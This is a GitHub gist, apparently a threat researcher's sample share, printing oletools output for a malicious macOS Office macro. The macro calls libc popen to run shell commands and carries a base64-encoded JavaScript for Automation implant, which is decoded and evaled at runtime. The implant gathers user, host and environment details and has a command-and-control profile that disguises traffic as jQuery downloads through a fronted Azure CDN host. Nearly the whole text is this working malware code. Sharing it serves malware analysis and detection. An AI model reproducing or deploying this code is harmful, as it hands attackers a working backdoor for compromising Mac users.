Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnLaTwC/02933fc02c24c2d797836b0999577c65 to your computer and use it in GitHub Desktop.
Save JohnLaTwC/02933fc02c24c2d797836b0999577c65 to your computer and use it in GitHub Desktop.
OSX macro threat
## Sample hash f9d64c96a8090b2599bd5329fbfed3a852fce5455ba5f658363abb19075bbab3
## Uploaded by @JohnLaTwC
#################### VBA Macro #####################
olevba 0.55.1 on Python 3.7.6 - http://decalage.info/python/oletools
===============================================================================
FILE: f9d64c96a8090b2599bd5329fbfed3a852fce5455ba5f658363abb19075bbab3
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: f9d64c96a8090b2599bd5329fbfed3a852fce5455ba5f658363abb19075bbab3 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#If MAC_OFFICE_VERSION >= 15 Then
Private Declare PtrSafe Function popen Lib "/usr/lib/libc.dylib" (ByVal command As String, ByVal mode As String) As LongPtr
Private Declare PtrSafe Function pclose Lib "/usr/lib/libc.dylib" (ByVal file As LongPtr) As LongPtr
Private Declare PtrSafe Function fread Lib "/usr/lib/libc.dylib" (ByVal outStr As String, ByVal size As LongPtr, ByVal items As LongPtr, ByVal stream As LongPtr) As Long
Private Declare PtrSafe Function feof Lib "/usr/lib/libc.dylib" (ByVal file As LongPtr) As LongPtr
#End If
Function esurrdem(command As String, Optional ByRef exitCode As LongPtr) As String
#If MAC_OFFICE_VERSION >= 15 Then
Dim file As LongPtr
file = popen(command, "r")
If file = 0 Then
Exit Function
End If
While feof(file) = 0
Dim chunk As String
Dim read As Long
chunk = Space(50)
read = fread(chunk, 1, Len(chunk) - 1, file)
If read > 0 Then
chunk = Left$(chunk, read)
esurrdem = esurrdem & chunk
End If
Wend
exitCode = pclose(file)
#End If
End Function
Sub qfxtowbhccdseyqqxyu()
Dim METADATA
METADATA = "b99=function(f){var g={},b=65,d=0,a,c=0,h,e="""",k=String.fromCharCode,l=f.length;for(a="""";91>b;)a+=k(b++);a+=a.toLowerCase()+""0123456789+/"";for(b=0;64>b;b++)g[a.charAt(b)]=b;for(a=0;a<l;a++)for(b=g[f.charAt(a)],d=(d<<6)+b,c+=6;8<=c;)((h=d>>>(c-=8)&255)||a<l-2)&&(e+=k(h));return e};"
METADATA = METADATA + "eval(b99("""
METADATA = METADATA + "Ly8gQ3JlYXRlZCBieSBDb2R5IFRob21hcyAtIEBpdHNfYV9mZWF0dXJlXwpPYmpDLmltcG9ydCgnQ29jb2EnKTsKT2JqQy5pbXBvcnQoJ0ZvdW5kYXRpb24nKTsgLy90aGVyZSBieSBkZWZhdWx0IEkgdGhpbmssIGJ1dCBzYWZlIHRvIGluY2x1ZGUgYW55d2F5Ck9i"
METADATA = METADATA + "akMuaW1wb3J0KCdzdGRsaWInKTsKT2JqQy5iaW5kRnVuY3Rpb24oJ0NGTWFrZUNvbGxlY3RhYmxlJywgWydpZCcsIFsndm9pZCAqJ10gXSk7CnZhciBjdXJyZW50QXBwID0gQXBwbGljYXRpb24uY3VycmVudEFwcGxpY2F0aW9uKCk7CmN1cnJlbnRBcHAuaW5jbHVk"
METADATA = METADATA + "ZVN0YW5kYXJkQWRkaXRpb25zID0gdHJ1ZTsKLy8tLS0tLS0tLS0tLS0tLUlNUExBTlQgSU5GT1JNQVRJT04tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpjbGFzcyBhZ2VudHsKCWNvbnN0cnVjdG9yKCl7CgkJdGhpcy5wcm9jSW5mbyA9ICQuTlNQ"
METADATA = METADATA + "cm9jZXNzSW5mby5wcm9jZXNzSW5mbzsKCQl0aGlzLmhvc3RJbmZvID0gJC5OU0hvc3QuY3VycmVudEhvc3Q7CgkJdGhpcy5pZCA9ICIiOwoJCXRoaXMudXNlciA9IE9iakMuZGVlcFVud3JhcCh0aGlzLnByb2NJbmZvLnVzZXJOYW1lKTsKCQl0aGlzLmZ1bGxOYW1l"
METADATA = METADATA + "ID0gT2JqQy5kZWVwVW53cmFwKHRoaXMucHJvY0luZm8uZnVsbFVzZXJOYW1lKTsKCQkvL2V2ZXJ5IGVsZW1lbnQgaW4gdGhlIGFycmF5IG5lZWRzIHRvIGJlIHVud3JhcHBlZAoJCXRoaXMuaXAgPSBPYmpDLmRlZXBVbndyYXAodGhpcy5ob3N0SW5mby5hZGRyZXNz"
METADATA = METADATA + "ZXMpOyAvL3Byb2JhYmx5IGp1c3QgbmVlZCBbMF0KCQl0aGlzLnBpZCA9IHRoaXMucHJvY0luZm8ucHJvY2Vzc0lkZW50aWZpZXI7CgkJLy9ldmVyeSBlbGVtZW50IGluIHRoZSBhcnJheSBuZWVkcyB0byBiZSB1bndyYXBwZWQKCQl0aGlzLmhvc3QgPSBPYmpDLmRl"
METADATA = METADATA + "ZXBVbndyYXAodGhpcy5ob3N0SW5mby5uYW1lcyk7IC8vcHJvYmFibHkganVzdCBuZWVkIFswXQoJCS8vdGhpcyBpcyBhIGRpY3Rpb25hcnksIGJ1dCBldmVyeSAndmFsdWUnIG5lZWRzIHRvIGJlIHVud3JhcHBlZAoJCXRoaXMuZW52aXJvbm1lbnQgPSBPYmpDLmRl"
METADATA = METADATA + "ZXBVbndyYXAodGhpcy5wcm9jSW5mby5lbnZpcm9ubWVudCk7CgkJdGhpcy51cHRpbWUgPSB0aGlzLnByb2NJbmZvLnN5c3RlbVVwdGltZTsKCQkvL2V2ZXJ5IGVsZW1lbnQgaW4gdGhlIGFycmF5IG5lZWRzIHRvIGJlIHVud3JhcHBlZAoJCXRoaXMuYXJncyA9IE9i"
METADATA = METADATA + "akMuZGVlcFVud3JhcCh0aGlzLnByb2NJbmZvLmFyZ3VtZW50cyk7CgkJdGhpcy5vc1ZlcnNpb24gPSB0aGlzLnByb2NJbmZvLm9wZXJhdGluZ1N5c3RlbVZlcnNpb25TdHJpbmcuanM7CgkJdGhpcy51dWlkID0gImI4MmNhNDI3LTkwN2UtNDAzOC1hMmFlLWE0NDU4"
METADATA = METADATA + "NDlmNmJmMiI7Cgl9Cn0KdmFyIGFwZmVsbCA9IG5ldyBhZ2VudCgpOwovLy0tLS0tLS0tLS0tLS0tQmFzZSBDMiBJTkZPUk1BVElPTi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KY2xhc3MgYmFzZUMyewoJLy9UbyBjcmVhdGUgeW91ciBv"
METADATA = METADATA + "d24gQzIsIGV4dGVuZCB0aGlzIGNsYXNzIGFuZCBpbXBsZW1lbnQgdGhlIHJlcXVpcmVkIGZ1bmN0aW9ucwoJLy9UaGUgbWFpbiBjb2RlIGRlcGVuZHMgb24gdGhlIG1lY2hhbmlzbSBiZWluZyBDMiB3aXRoIHRoZXNlIGZ1bmN0aW9ucy4KCS8vICAgdGhlIGltcGxl"
METADATA = METADATA + "bWVudGF0aW9uIG9mIHRoZSBmdW5jdGlvbnMgZG9lc24ndCBtYXR0ZXIgdGhvdWdoCgkvLyAgIFlvdSdyZSB3ZWxjb21lIHRvIGFkZCBhZGRpdGlvbmFsIGZ1bmN0aW9ucyBhcyB3ZWxsLCBidXQgdGhpcyBpcyB0aGUgbWluaW11bQoJY29uc3RydWN0b3IoaW50ZXJ2"
METADATA = METADATA + "YWwsIGJhc2V1cmwpewoJCXRoaXMuaW50ZXJ2YWwgPSBpbnRlcnZhbDsgLy9zZWNvbmRzIGJldHdlZW4gY2FsbGJhY2tzCgkJdGhpcy5iYXNldXJsID0gYmFzZXVybDsgLy93aGVyZSB0byByZWFjaCBvdXQgdG8KCQl0aGlzLmNvbW1hbmRzID0gW107Cgl9CgljaGVj"
METADATA = METADATA + "a2luKCl7CgkJLy9jaGVjayBpbiB3aXRoIGMyIHNlcnZlcgoJfQoJZ2V0VGFza2luZygpewoJCS8vcmVhY2ggb3V0IHRvIHdoZXJldmVyIHRvIGdldCB0YXNraW5nCgl9CglnZXRDb25maWcoKXsKCQkvL2dldHMgdGhlIGN1cnJlbnQgY29uZmlndXJhdGlvbiBmb3Ig"
METADATA = METADATA + "dGFza2luZwoJfQoJcG9zdFJlc3BvbnNlKHRhc2ssIG91dHB1dCl7CgkJLy9vdXRwdXQgYSByZXNwb25zZSB0byBhIHRhc2sKCX0KCXNldENvbmZpZyhwYXJhbXMpewoJCS8vdXBkYXRlcyB0aGUgY3VycmVudCBjb25maWd1cmF0aW9uIGZvciBob3cgdG8gZ2V0IHRh"
METADATA = METADATA + "c2tpbmcKCX0KCWRvd25sb2FkKHRhc2ssIHBhcmFtcyl7CgkgICAgLy9nZXRzIGEgZmlsZSBmcm9tIHRoZSBhcGZlbGwgc2VydmVyIGluIHNvbWUgd2F5Cgl9Cgl1cGxvYWQodGFzaywgcGFyYW1zKXsKCSAgICAvL3VwbG9hZHMgYSBmaWxlIGluIHNvbWUgd2F5IHRv"
METADATA = METADATA + "IHRoZSB0ZWFtc2VydmVyCgl9Cn0KLy8tLS0tLS0tLS0tLS0tUkVTVEZVTCBDMiBtZWNoYW5pc21zIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpjbGFzcyBjdXN0b21DMiBleHRlbmRzIGJhc2VDMnsKCgljb25zdHJ1Y3RvcihpbnRlcnZhbCwgYmFz"
METADATA = METADATA + "ZXVybCl7CgkJc3VwZXIoaW50ZXJ2YWwsIGJhc2V1cmwpOwoJCXRoaXMuY29tbWFuZHMgPSBbXTsKCQl0aGlzLmMyX2NvbmZpZyA9IHsKIkdFVCI6IHsKICAgICJTZXJ2ZXJCb2R5IjogWwogICAgICB7CiAgICAgICAgImZ1bmN0aW9uIjogImJhc2U2NCIsCiAgICAg"
METADATA = METADATA + "ICAgInBhcmFtZXRlcnMiOiBbXQogICAgICB9LAogICAgICB7CiAgICAgICAgImZ1bmN0aW9uIjogInByZXBlbmQiLAogICAgICAgICJwYXJhbWV0ZXJzIjogWyIhZnVuY3Rpb24oZSx0KXtcInVzZSBzdHJpY3RcIjtcIm9iamVjdFwiPT10eXBlb2YgbW9kdWxlJiZc"
METADATA = METADATA + "Im9iamVjdFwiPT10eXBlb2YgbW9kdWxlLmV4cG9ydHM/bW9kdWxlLmV4cG9ydHM9ZS5kb2N1bWVudD90KGUsITApOmZ1bmN0aW9uKGUpe2lmKCFlLmRvY3VtZW50KXRocm93IG5ldyBFcnJvcihcImpRdWVyeSByZXF1aXJlcyBhIHdpbmRvdyB3aXRoIGEgZG9jdW1l"
METADATA = METADATA + "bnRcIik7cmV0dXJuIHQoZSl9OnQoZSl9KFwidW5kZWZpbmVkXCIhPXR5cGVvZiB3aW5kb3c/d2luZG93OnRoaXMsZnVuY3Rpb24oZSx0KXtcInVzZSBzdHJpY3RcIjt2YXIgbj1bXSxyPWUuZG9jdW1lbnQsaT1PYmplY3QuZ2V0UHJvdG90eXBlT2Ysbz1uLnNsaWNl"
METADATA = METADATA + "LGE9bi5jb25jYXQscz1uLnB1c2gsdT1uLmluZGV4T2YsbD17fSxjPWwudG9TdHJpbmcsZj1sLmhhc093blByb3BlcnR5LHA9Zi50b1N0cmluZyxkPXAuY2FsbChPYmplY3QpLGg9e30sZz1mdW5jdGlvbiBlKHQpe3JldHVyblwiZnVuY3Rpb25cIj09dHlwZW9mIHQm"
METADATA = METADATA + "JlwibnVtYmVyXCIhPXR5cGVvZiB0Lm5vZGVUeXBlfSx5PWZ1bmN0aW9uIGUodCl7cmV0dXJuIG51bGwhPXQmJnQ9PT10LndpbmRvd30sdj17dHlwZTohMCxzcmM6ITAsbm9Nb2R1bGU6ITB9O2Z1bmN0aW9uIG0oZSx0LG4pe3ZhciBpLG89KHQ9dHx8cikuY3JlYXRl"
METADATA = METADATA + "RWxlbWVudChcInNjcmlwdFwiKTtpZihvLnRleHQ9ZSxuKWZvcihpIGluIHYpbltpXSYmKG9baV09bltpXSk7dC5oZWFkLmFwcGVuZENoaWxkKG8pLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobyl9ZnVuY3Rpb24geChlKXtyZXR1cm4gbnVsbD09ZT9lK1wiXCI6XCJv"
METADATA = METADATA + "YmplY3RcIj09dHlwZW9mIGV8fFwiZnVuY3Rpb25cIj09dHlwZW9mIGU/bFtjLmNhbGwoZSldfHxcIm9iamVjdFwiOnR5cGVvZiBlfXZhciBiPVwiMy4zLjFcIix3PWZ1bmN0aW9uKGUsdCl7cmV0dXJuIG5ldyB3LmZuLmluaXQoZSx0KX0sVD0vXltcXHNcXHVGRUZG"
METADATA = METADATA + "XFx4QTBdK3xbXFxzXFx1RkVGRlxceEEwXSskL2c7dy5mbj13LnByb3RvdHlwZT17anF1ZXJ5OlwiMy4zLjFcIixjb25zdHJ1Y3Rvcjp3LGxlbmd0aDowLHRvQXJyYXk6ZnVuY3Rpb24oKXtyZXR1cm4gby5jYWxsKHRoaXMpfSxnZXQ6ZnVuY3Rpb24oZSl7cmV0dXJu"
METADATA = METADATA + "IG51bGw9PWU/by5jYWxsKHRoaXMpOmU8MD90aGlzW2UrdGhpcy5sZW5ndGhdOnRoaXNbZV19LHB1c2hTdGFjazpmdW5jdGlvbihlKXt2YXIgdD13Lm1lcmdlKHRoaXMuY29uc3RydWN0b3IoKSxlKTtyZXR1cm4gdC5wcmV2T2JqZWN0PXRoaXMsdH0sZWFjaDpmdW5j"
METADATA = METADATA + "dGlvbihlKXtyZXR1cm4gdy5lYWNoKHRoaXMsZSl9LG1hcDpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2sody5tYXAodGhpcyxmdW5jdGlvbih0LG4pe3JldHVybiBlLmNhbGwodCxuLHQpfSkpfSxzbGljZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLnB1"
METADATA = METADATA + "c2hTdGFjayhvLmFwcGx5KHRoaXMsYXJndW1lbnRzKSl9LGZpcnN0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZXEoMCl9LGxhc3Q6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lcSgtMSl9LGVxOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMubGVuZ3RoLG49K2UrKGU8MD90"
METADATA = METADATA + "OjApO3JldHVybiB0aGlzLnB1c2hTdGFjayhuPj0wJiZuPHQ/W3RoaXNbbl1dOltdKX0sZW5kOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucHJldk9iamVjdHx8dGhpcy5jb25zdHJ1Y3RvcigpfSxwdXNoOnMsc29ydDpuLnNvcnQsc3BsaWNlOm4uc3BsaWNlfSx3LmV4"
METADATA = METADATA + "dGVuZD13LmZuLmV4dGVuZD1mdW5jdGlvbigpe3ZhciBlLHQsbixyLGksbyxhPWFyZ3VtZW50c1swXXx8e30scz0xLHU9YXJndW1lbnRzLmxlbmd0aCxsPSExO2ZvcihcImJvb2xlYW5cIj09dHlwZW9mIGEmJihsPWEsYT1hcmd1bWVudHNbc118fHt9LHMrKyksXCJv"
METADATA = METADATA + "YmplY3RcIj09dHlwZW9mIGF8fGcoYSl8fChhPXt9KSxzPT09dSYmKGE9dGhpcyxzLS0pO3M8dTtzKyspaWYobnVsbCE9KGU9YXJndW1lbnRzW3NdKSlmb3IodCBpbiBlKW49YVt0XSxhIT09KHI9ZVt0XSkmJihsJiZyJiYody5pc1BsYWluT2JqZWN0KHIpfHwoaT1B"
METADATA = METADATA + "cnJheS5pc0FycmF5KHIpKSk/KGk/KGk9ITEsbz1uJiZBcnJheS5pc0FycmF5KG4pP246W10pOm89biYmdy5pc1BsYWluT2JqZWN0KG4pP246e30sYVt0XT13LmV4dGVuZChsLG8scikpOnZvaWQgMCE9PXImJihhW3RdPXIpKTtyZXR1cm4gYX0sdy5leHRlbmQoe2V4"
METADATA = METADATA + "cGFuZG86XCJqUXVlcnlcIisoXCIzLjMuMVwiK01hdGgucmFuZG9tKCkpLnJlcGxhY2UoL1xcRC9nLFwiXCIpLGlzUmVhZHk6ITAsZXJyb3I6ZnVuY3Rpb24oZSl7dGhyb3cgbmV3IEVycm9yKGUpfSxub29wOmZ1bmN0aW9uKCl7fSxpc1BsYWluT2JqZWN0OmZ1bmN0"
METADATA = METADATA + "aW9uKGUpe3ZhciB0LG47cmV0dXJuISghZXx8XCJbb2JqZWN0IE9iamVjdF1cIiE9PWMuY2FsbChlKSkmJighKHQ9aShlKSl8fFwiZnVuY3Rpb25cIj09dHlwZW9mKG49Zi5jYWxsKHQsXCJjb25zdHJ1Y3RvclwiKSYmdC5jb25zdHJ1Y3RvcikmJnAuY2FsbChuKT09"
METADATA = METADATA + "PWQpfSxpc0VtcHR5T2JqZWN0OmZ1bmN0aW9uKGUpe3ZhciB0O2Zvcih0IGluIGUpcmV0dXJuITE7cmV0dXJuITB9LGdsb2JhbEV2YWw6ZnVuY3Rpb24oZSl7bShlKX0sZWFjaDpmdW5jdGlvbihlLHQpe3ZhciBuLHI9MDtpZihDKGUpKXtmb3Iobj1lLmxlbmd0aDty"
METADATA = METADATA + "PG47cisrKWlmKCExPT09dC5jYWxsKGVbcl0scixlW3JdKSlicmVha31lbHNlIGZvcihyIGluIGUpaWYoITE9PT10LmNhbGwoZVtyXSxyLGVbcl0pKWJyZWFrO3JldHVybiBlfSx0cmltOmZ1bmN0aW9uKGUpe3JldHVybiBudWxsPT1lP1wiXCI6KGUrXCJcIikucmVw"
METADATA = METADATA + "bGFjZShULFwiXCIpfSxtYWtlQXJyYXk6ZnVuY3Rpb24oZSx0KXt2YXIgbj10fHxbXTtyZXR1cm4gbnVsbCE9ZSYmKEMoT2JqZWN0KGUpKT93Lm1lcmdlKG4sXCJzdHJpbmdcIj09dHlwZW9mIGU/W2VdOmUpOnMuY2FsbChuLGUpKSxufSxpbkFycmF5OmZ1bmN0aW9u"
METADATA = METADATA + "KGUsdCxuKXtyZXR1cm4gbnVsbD09dD8tMTp1LmNhbGwodCxlLG4pfSxtZXJnZTpmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0rdC5sZW5ndGgscj0wLGk9ZS5sZW5ndGg7cjxuO3IrKyllW2krK109dFtyXTtyZXR1cm4gZS5sZW5ndGg9aSxlfSxncmVwOmZ1bmN0aW9u"
METADATA = METADATA + "KGUsdCxuKXtmb3IodmFyIHIsaT1bXSxvPTAsYT1lLmxlbmd0aCxzPSFuO288YTtvKyspKHI9IXQoZVtvXSxvKSkhPT1zJiZpLnB1c2goZVtvXSk7cmV0dXJuIGl9LG1hcDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPTAscz1bXTtpZihDKGUpKWZvcihyPWUubGVu"
METADATA = METADATA + "Z3RoO288cjtvKyspbnVsbCE9KGk9dChlW29dLG8sbikpJiZzLnB1c2goaSk7ZWxzZSBmb3IobyBpbiBlKW51bGwhPShpPXQoZVtvXSxvLG4pKSYmcy5wdXNoKGkpO3JldHVybiBhLmFwcGx5KFtdLHMpfSxndWlkOjEsc3VwcG9ydDpofSksXCJmdW5jdGlvblwiPT10"
METADATA = METADATA + "eXBlb2YgU3ltYm9sJiYody5mbltTeW1ib2wuaXRlcmF0b3JdPW5bU3ltYm9sLml0ZXJhdG9yXSksdy5lYWNoKFwiQm9vbGVhbiBOdW1iZXIgU3RyaW5nIEZ1bmN0aW9uIEFycmF5IERhdGUgUmVnRXhwIE9iamVjdCBFcnJvciBTeW1ib2xcIi5zcGxpdChcIiBcIiks"
METADATA = METADATA + "ZnVuY3Rpb24oZSx0KXtsW1wiW29iamVjdCBcIit0K1wiXVwiXT10LnRvTG93ZXJDYXNlKCl9KTtmdW5jdGlvbiBDKGUpe3ZhciB0PSEhZSYmXCJsZW5ndGhcImluIGUmJmUubGVuZ3RoLG49eChlKTtyZXR1cm4hZyhlKSYmIXkoZSkmJihcImFycmF5XCI9PT1ufHww"
METADATA = METADATA + "PT09dHx8XCJudW1iZXJcIj09dHlwZW9mIHQmJnQ+MCYmdC0xIGluIGUpfXZhciBFPWZ1bmN0aW9uKGUpe3ZhciB0LG4scixpLG8sYSxzLHUsbCxjLGYscCxkLGgsZyx5LHYsbSx4LGI9XCJzaXp6bGVcIisxKm5ldyBEYXRlLHc9ZS5kb2N1bWVudCxUPTAsQz0wLEU9"
METADATA = METADATA + "YWUoKSxrPWFlKCksUz1hZSgpLEQ9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZT09PXQmJihmPSEwKSwwfSxOPXt9Lmhhc093blByb3BlcnR5LEE9W10saj1BLnBvcCxxPUEucHVzaCxMPUEucHVzaCxIPUEuc2xpY2UsTz1mdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0wLHI9"
METADATA = METADATA + "ZS5sZW5ndGg7bjxyO24rKylpZihlW25dPT09dClyZXR1cm4gbjtyZXR1cm4tMX0sUD1cIlxyIl0KICAgICAgfSwKICAgICAgewogICAgICAgICJmdW5jdGlvbiI6ICJwcmVwZW5kIiwKICAgICAgICAicGFyYW1ldGVycyI6IFsiLyohIGpRdWVyeSB2My40LjEgfCAo"
METADATA = METADATA + "YykgSlMgRm91bmRhdGlvbiBhbmQgb3RoZXIgY29udHJpYnV0b3JzIHwganF1ZXJ5Lm9yZy9saWNlbnNlICovIl0KICAgICAgfSwKICAgICAgewogICAgICAgICJmdW5jdGlvbiI6ICJhcHBlbmQiLAogICAgICAgICJwYXJhbWV0ZXJzIjogWyJcIi4obz10LmRvY3Vt"
METADATA = METADATA + "ZW50RWxlbWVudCxNYXRoLm1heCh0LmJvZHlbXCJzY3JvbGxcIitlXSxvW1wic2Nyb2xsXCIrZV0sdC5ib2R5W1wib2Zmc2V0XCIrZV0sb1tcIm9mZnNldFwiK2VdLG9bXCJjbGllbnRcIitlXSkpOnZvaWQgMD09PWk/dy5jc3ModCxuLHMpOncuc3R5bGUodCxuLGks"
METADATA = METADATA + "cyl9LHQsYT9pOnZvaWQgMCxhKX19KX0pLHcuZWFjaChcImJsdXIgZm9jdXMgZm9jdXNpbiBmb2N1c291dCByZXNpemUgc2Nyb2xsIGNsaWNrIGRibGNsaWNrIG1vdXNlZG93biBtb3VzZXVwIG1vdXNlbW92ZSBtb3VzZW92ZXIgbW91c2VvdXQgbW91c2VlbnRlciBt"
METADATA = METADATA + "b3VzZWxlYXZlIGNoYW5nZSBzZWxlY3Qgc3VibWl0IGtleWRvd24ga2V5cHJlc3Mga2V5dXAgY29udGV4dG1lbnVcIi5zcGxpdChcIiBcIiksZnVuY3Rpb24oZSx0KXt3LmZuW3RdPWZ1bmN0aW9uKGUsbil7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg+MD90aGlzLm9u"
METADATA = METADATA + "KHQsbnVsbCxlLG4pOnRoaXMudHJpZ2dlcih0KX19KSx3LmZuLmV4dGVuZCh7aG92ZXI6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5tb3VzZWVudGVyKGUpLm1vdXNlbGVhdmUodHx8ZSl9fSksdy5mbi5leHRlbmQoe2JpbmQ6ZnVuY3Rpb24oZSx0LG4pe3JldHVy"
METADATA = METADATA + "biB0aGlzLm9uKGUsbnVsbCx0LG4pfSx1bmJpbmQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5vZmYoZSxudWxsLHQpfSxkZWxlZ2F0ZTpmdW5jdGlvbihlLHQsbixyKXtyZXR1cm4gdGhpcy5vbih0LGUsbixyKX0sdW5kZWxlZ2F0ZTpmdW5jdGlvbihlLHQsbil7"
METADATA = METADATA + "cmV0dXJuIDE9PT1hcmd1bWVudHMubGVuZ3RoP3RoaXMub2ZmKGUsXCIqKlwiKTp0aGlzLm9mZih0LGV8fFwiKipcIixuKX19KSx3LnByb3h5PWZ1bmN0aW9uKGUsdCl7dmFyIG4scixpO2lmKFwic3RyaW5nXCI9PXR5cGVvZiB0JiYobj1lW3RdLHQ9ZSxlPW4pLGco"
METADATA = METADATA + "ZSkpcmV0dXJuIHI9by5jYWxsKGFyZ3VtZW50cywyKSxpPWZ1bmN0aW9uKCl7cmV0dXJuIGUuYXBwbHkodHx8dGhpcyxyLmNvbmNhdChvLmNhbGwoYXJndW1lbnRzKSkpfSxpLmd1aWQ9ZS5ndWlkPWUuZ3VpZHx8dy5ndWlkKyssaX0sdy5ob2xkUmVhZHk9ZnVuY3Rp"
METADATA = METADATA + "b24oZSl7ZT93LnJlYWR5V2FpdCsrOncucmVhZHkoITApfSx3LmlzQXJyYXk9QXJyYXkuaXNBcnJheSx3LnBhcnNlSlNPTj1KU09OLnBhcnNlLHcubm9kZU5hbWU9Tix3LmlzRnVuY3Rpb249Zyx3LmlzV2luZG93PXksdy5jYW1lbENhc2U9Ryx3LnR5cGU9eCx3Lm5v"
METADATA = METADATA + "dz1EYXRlLm5vdyx3LmlzTnVtZXJpYz1mdW5jdGlvbihlKXt2YXIgdD13LnR5cGUoZSk7cmV0dXJuKFwibnVtYmVyXCI9PT10fHxcInN0cmluZ1wiPT09dCkmJiFpc05hTihlLXBhcnNlRmxvYXQoZSkpfSxcImZ1bmN0aW9uXCI9PXR5cGVvZiBkZWZpbmUmJmRlZmlu"
METADATA = METADATA + "ZS5hbWQmJmRlZmluZShcImpxdWVyeVwiLFtdLGZ1bmN0aW9uKCl7cmV0dXJuIHd9KTt2YXIgSnQ9ZS5qUXVlcnksS3Q9ZS4kO3JldHVybiB3Lm5vQ29uZmxpY3Q9ZnVuY3Rpb24odCl7cmV0dXJuIGUuJD09PXcmJihlLiQ9S3QpLHQmJmUualF1ZXJ5PT09dyYmKGUu"
METADATA = METADATA + "alF1ZXJ5PUp0KSx3fSx0fHwoZS5qUXVlcnk9ZS4kPXcpLHd9KTsiXQogICAgICB9CiAgICBdLAogICAgIlNlcnZlckhlYWRlcnMiOiB7CiAgICAgICAgIlNlcnZlciI6ICJBcGFjaGUiLAogICAgICAgICJDYWNoZS1Db250cm9sIjogIm1heC1hZ2U9MCwgbm8tY2Fj"
METADATA = METADATA + "aGUiLAogICAgICAgICJQcmFnbWEiOiAibm8tY2FjaGUiLAogICAgICAgICJDb25uZWN0aW9uIjogImtlZXAtYWxpdmUiLAogICAgICAgICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24vamF2YXNjcmlwdDsgY2hhcnNldD11dGYtOCIKICAgICAgfSwKICAgICJT"
METADATA = METADATA + "ZXJ2ZXJDb29raWVzIjoge30sCiAgICAiQWdlbnRNZXNzYWdlIjogW3sKICAgICAgInVybHMiOiBbImh0dHBzOi8vZXhwZXJ0em9uZS5taWNyb3NvZnQuY29tIl0sCiAgICAgICJ1cmkiOiAiLzx0ZXN0OnN0cmluZz4iLAogICAgICAidXJsRnVuY3Rpb25zIjogWwog"
METADATA = METADATA + "ICAgICAgIHsKICAgICAgICAgICJuYW1lIjogIjx0ZXN0OnN0cmluZz4iLAogICAgICAgICAgInZhbHVlIjogIiIsCiAgICAgICAgICAidHJhbnNmb3JtcyI6IFsKICAgICAgICAgICAgewogICAgICAgICAgICAgICJmdW5jdGlvbiI6ICJjaG9vc2VfcmFuZG9tIiwK"
METADATA = METADATA + "ICAgICAgICAgICAgICAicGFyYW1ldGVycyI6IFsianF1ZXJ5LTMuNC4xLm1pbi5qcyIsImpxdWVyeS0zLjQuMS5tYXAiXQogICAgICAgICAgICB9CiAgICAgICAgICBdCiAgICAgICAgfQogICAgICBdLAogICAgICAiQWdlbnRIZWFkZXJzIjogewogICAgICAgICJB"
METADATA = METADATA + "Y2NlcHQiOiAidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44IiwKICAgICAgICAiSG9zdCI6ICJvbHltcGljLmF6dXJlZWRnZS5uZXQiLAogICAgICAgICJSZWZlcmVyIjogImh0dHBzOi8vZXhwZXJ0"
METADATA = METADATA + "em9uZS5taWNyb3NvZnQuY29tIiwKICAgICAgICAiQWNjZXB0LUVuY29kaW5nIjogImd6aXAsIGRlZmxhdGUiLAogICAgICAgICJVc2VyLUFnZW50IjogIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE0XzYpIEFwcGxlV2ViS2l0LzYw"
METADATA = METADATA + "NS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xMi4xLjIgU2FmYXJpLzYwNS4xLjE1IiwKICAgICAgICAiWC1Qb3dlcmVkLUJ5IjogIjY2YTBmYzE4LWMwYjctNGJiOS04YWU2LThjYjgwYWEwZjhlOSIKICAgICAgfSwKICAgICAgIlF1ZXJ5UGFyYW1l"
METADATA = METADATA + "dGVycyI6IFsKICAgICAgICAgIHsKICAgICAgICAgICAgIm5hbWUiOiAicyIsCiAgICAgICAgICAgICJ2YWx1ZSI6ICJtZXNzYWdlIiwKICAgICAgICAgICAgInRyYW5zZm9ybXMiOiBbCiAgICAgICAgICAgIF0KICAgICAgICAgIH0KICAgICAgXSwKICAgICAgIkNv"
METADATA = METADATA + "b2tpZXMiOiBbCiAgICAgICAgIHsKICAgICAgICAgICJuYW1lIjogIl9fc2Vzc2lvbiIsCiAgICAgICAgICAidmFsdWUiOiAiIiwKICAgICAgICAgICJ0cmFuc2Zvcm1zIjogWwogICAgICAgICAgICB7CiAgICAgICAgICAgICAgImZ1bmN0aW9uIjogInJhbmRvbV9h"
